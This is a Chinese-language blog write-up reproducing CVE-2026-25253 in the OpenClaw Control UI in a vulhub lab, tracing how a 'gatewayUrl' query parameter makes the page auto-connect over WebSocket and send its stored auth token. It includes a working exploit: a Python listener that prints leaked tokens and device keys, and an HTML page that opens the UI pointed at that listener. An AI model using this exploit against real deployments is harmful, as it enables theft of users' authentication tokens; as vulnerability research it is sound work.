openClaw CVE-2026-25253复现与简单分析

在vulhub下载的镜像

参考了:CVE-2026-25253:OpenClaw高危远程代码执行漏洞深度分析 - U深搜

首先启动docker环境

然后访问http://localhost:18789

进入openclaw的主界面

这个漏洞产生的原因是:

漏洞存在于OpenClaw的 Control UI前端初始化逻辑 中。在受影响的版本中,应用程序会从URL查询字符串中读取gatewayUrl参数,并 未经用户确认自动建立WebSocket连接 ,同时将存储在localStorage中的认证令牌(auth token)发送到指定的WebSocket端点。

漏洞链条分析

分析js代码

javascript 复制代码
function ad(e) {
    if (!window.location.search)
        return;
    const t = new URLSearchParams(window.location.search)
      , n = t.get("token")
      , s = t.get("password")
      , i = t.get("session")
      , a = t.get("gatewayUrl");
    let o = !1;
    if (n != null) {
        const l = n.trim();
        l && l !== e.settings.token && ke(e, {
            ...e.settings,
            token: l
        }),
        t.delete("token"),
        o = !0
    }
    if (s != null) {
        const l = s.trim();
        l && (e.password = l),
        t.delete("password"),
        o = !0
    }
    if (i != null) {
        const l = i.trim();
        l && (e.sessionKey = l,
        ke(e, {
            ...e.settings,
            sessionKey: l,
            lastActiveSessionKey: l
        }))
    }
    if (a != null) {
        const l = a.trim();
        l && l !== e.settings.gatewayUrl && ke(e, {
            ...e.settings,
            gatewayUrl: l
        }),
        t.delete("gatewayUrl"),
        o = !0
    }
    if (!o)
        return;
    const c = new URL(window.location.href);
    c.search = t.toString(),
    window.history.replaceState({}, "", c.toString())
}

这里的代码会获取token,然后调用下列函数:

javascript 复制代码
function ke(e, t) {
    const n = {
        ...t,
        lastActiveSessionKey: t.lastActiveSessionKey?.trim() || t.sessionKey.trim() || "main"
    };
    e.settings = n,
    fl(n),
    t.theme !== e.theme && (e.theme = t.theme,
    hn(e, qs(t.theme))),
    e.applySessionKey = e.settings.lastActiveSessionKey
}

ad(e) 会直接从 window.location.search 解析 tokenpasswordsessiongatewayUrl,其中 gatewayUrl 会被写入 settings.gatewayUrltoken 会被写入 settings.token,随后 Vh(e)connectedCallback 阶段先调用 ad(e),紧接着无条件调用 wr(e) 发起连接。也就是说,URL 参数会在页面初始化时生效,并立刻进入连接流程。

连接本身确实是 WebSocket。wr(e)e.settings.gatewayUrle.settings.token 构造 new Bh({...}),而 Bh.connect() 里直接执行 new WebSocket(this.opts.url);连接建立后,sendConnect() 会把认证材料组装到 auth 对象里发送,其中 const c = o || this.opts.password ? { token: o, password: this.opts.password } : void 0,这里的 o 来自 this.opts.token,也就是前面由 URL 或本地设置注入的 token。

更关键的是,token 不只是来自当前 URL,还会持久化到本地。控制台设置使用 clawdbot.control.settings.v1 作为本地存储键,pl() 会从 localStorage 读取其中的 gatewayUrltoken;而 ke(e,t) 又会通过 fl(n) 把变更后的设置重新写回 localStorage。因此一旦用户访问带有恶意 gatewayUrl 的链接,前端会把新地址写进持久化设置,并在初始化时自动连接该地址。

从影响上看,这属于前端初始化逻辑导致的敏感认证信息外带。攻击者只需要诱导已登录或本地留存 token 的用户访问一个带查询参数的链接,例如带 gatewayUrl=ws://attacker...wss://attacker... 的页面地址,页面加载后就会自动把连接目标切到攻击者控制的 WebSocket 端点,并在握手/连接消息中附带 token。因为这条链路发生在页面加载阶段,用户看见 UI 之前外连就已经开始了。

AI分析:

第一步是入口可控。前端会从当前页面 URL 的查询参数里读 session,你前面核对到的同一段初始化逻辑也会处理 gatewayUrltokenpassword 这类参数,然后把结果写回运行时状态。更重要的是,页面初始化并不是只"读一下参数",而是随后会继续进入连接流程。wr(e) 就是实际的连接函数,它直接把 e.settings.gatewayUrle.settings.tokene.password 塞进新的网关客户端实例。

第二步是本地敏感数据可被复用。控制台配置使用 clawdbot.control.settings.v1 作为本地存储键;pl() 会从 localStorage 读取 gatewayUrltokenfl(e) 会把更新后的设置重新写回去。也就是说,攻击者不一定非要通过 URL 直接塞 token;只要受害者浏览器里原本就留有合法 token,前端初始化时就会自动取出来,后续被用在新连接上。

第三步是连接目标可被切换。wr(e) 创建 new Bh({...}) 时,url 字段直接来自 e.settings.gatewayUrl。这意味着只要攻击者能让初始化逻辑把 settings.gatewayUrl 改成攻击者自己的 ws://wss:// 地址,后续客户端就会把 WebSocket 连到攻击者服务器,而不是原本的网关。

第四步是连接会自动发生,而不是只停留在表单里。虽然 UI 上有一句 "Click Connect to apply connection changes",表面上像是要用户点按钮才会生效,但这只能说明表单手工修改时的交互提示。真正的初始化逻辑里,在参数处理之后会直接进入连接函数,所以攻击链的关键不是"诱导用户打开设置页并点击 Connect",而是"诱导用户访问带参数的链接即可触发初始化连接"。这也是为什么这个问题危险性比普通配置注入高。

第五步是 token 会被带到攻击者端。Bh.connect() 直接执行 new WebSocket(this.opts.url) 建立连接。随后客户端发送连接认证消息时,会使用实例里的认证字段;而这些字段正是从 wr(e) 传入的 token / password。所以攻击者只要控制了 WebSocket 目标地址,就能在自己的服务端拿到前端发来的认证消息,从而截获 token。

第六步是持久化副作用。因为设置会被写回 localStorage,所以这不只是一次性外连。攻击者如果成功把 gatewayUrl 覆盖进本地设置,受害者后续再次打开 Control UI 时,pl() 还会继续从本地读取这个恶意地址,造成持续重连或再次泄露,直到用户手动修正本地配置。

总结:
connectedCallback()

Vh(e) 初始化

ad(e) 从 URL 读入 gatewayUrl / token / password

ke(e, ...) 把恶意值应用到 e.settings

pl() 读出本地已有 token,或配合 URL 中的新值一起形成当前认证状态

wr(e)e.settings.gatewayUrle.settings.token 创建客户端

Bh.start()

Bh.connect() 执行 new WebSocket(this.opts.url) 连接攻击者端点

queueConnect()

sendConnect() 把 token/password 放进 auth 并发给攻击者。

利用

vulhub已经给出了利用方法:

这是设置一个监听,等着那边发来token等敏感信息

python 复制代码
import asyncio
import json
import websockets

async def handler(ws):
    print("[+] Victim connected")
    async for msg in ws:
        try:
            obj = json.loads(msg)
            print("\n[RECV]", json.dumps(obj, indent=2)[:2000])
            if obj.get("method") == "connect" and "params" in obj:
                params = obj["params"]
                auth = params.get("auth", {})
                device = params.get("device", {})
                print("\n[!] LEAKED AUTH CONTEXT:")
                print(f"    auth.token: {auth.get('token', 'N/A')}")
                print(f"    role: {params.get('role', 'N/A')}")
                print(f"    scopes: {params.get('scopes', [])}")
                print(f"    device.id: {device.get('id', 'N/A')}")
                print(f"    device.publicKey: {device.get('publicKey', 'N/A')}")
        except json.JSONDecodeError:
            print("[RECV RAW]", msg[:500])

async def main():
    async with await websockets.serve(handler, "127.0.0.1", 8080):
        print("Listening on ws://127.0.0.1:8080")
        print("Waiting for victim to visit: http://localhost:18789/?gatewayUrl=ws://127.0.0.1:8080")
        await asyncio.Future()

asyncio.run(main())

构建恶意网页模拟受害者触发过程:

html 复制代码
<!doctype html>
<html>
<head><title>CVE-2026-25253 Trigger</title></head>
<body>
  <h3>CVE-2026-25253 Minimal Trigger</h3>
  <p>Click the button below to force the Control UI to connect to the attacker WebSocket endpoint.</p>
  <button id="go">Trigger</button>
  <script>
    document.getElementById("go").onclick = () => {
      var target = "http://localhost:18789/?gatewayUrl=ws://127.0.0.1:8080";
      window.open(target, "_blank", "width=1200,height=800");
      console.log("Opened:", target);
    };
  </script>
</body>
</html>

成功得到敏感信息:

相关推荐
哇哦9821 小时前
渗透安全(渗透防御)③
安全·https·渗透·dns·渗透防御
信创DevOps先锋2 小时前
企业级开源治理新选择:Gitee CodePecker SCA如何重塑软件供应链安全
安全·gitee·开源
csdn_aspnet2 小时前
如何保护您的 .NET Web API 免受常见安全威胁
安全·xss·csrf·.net core·cors
CV-杨帆2 小时前
EACL 2026 大模型安全相关论文整理
安全
曼岛_2 小时前
[网络安全] Linux权限维持-隐藏篇
linux·安全·web安全·安全威胁分析
恋恋风尘hhh3 小时前
文字点选验证码前端安全研究:以网易易盾(dun.163)为例
前端·安全
honest_gg3 小时前
潜影【TraceHarvest】:自动化“一键”钓鱼工具
安全·hw·社会工程学·hvv·钓鱼·攻防演练·护网
Flittly3 小时前
【SpringSecurity新手村系列】(1)初识安全框架
java·spring boot·安全·spring·安全架构
测试那点事儿3 小时前
Cursor AI技能提示词设计建议:构建全覆盖测试用例生成体系(测试用例设计场景安全性能篇)
人工智能·安全·测试用例·ai辅助测试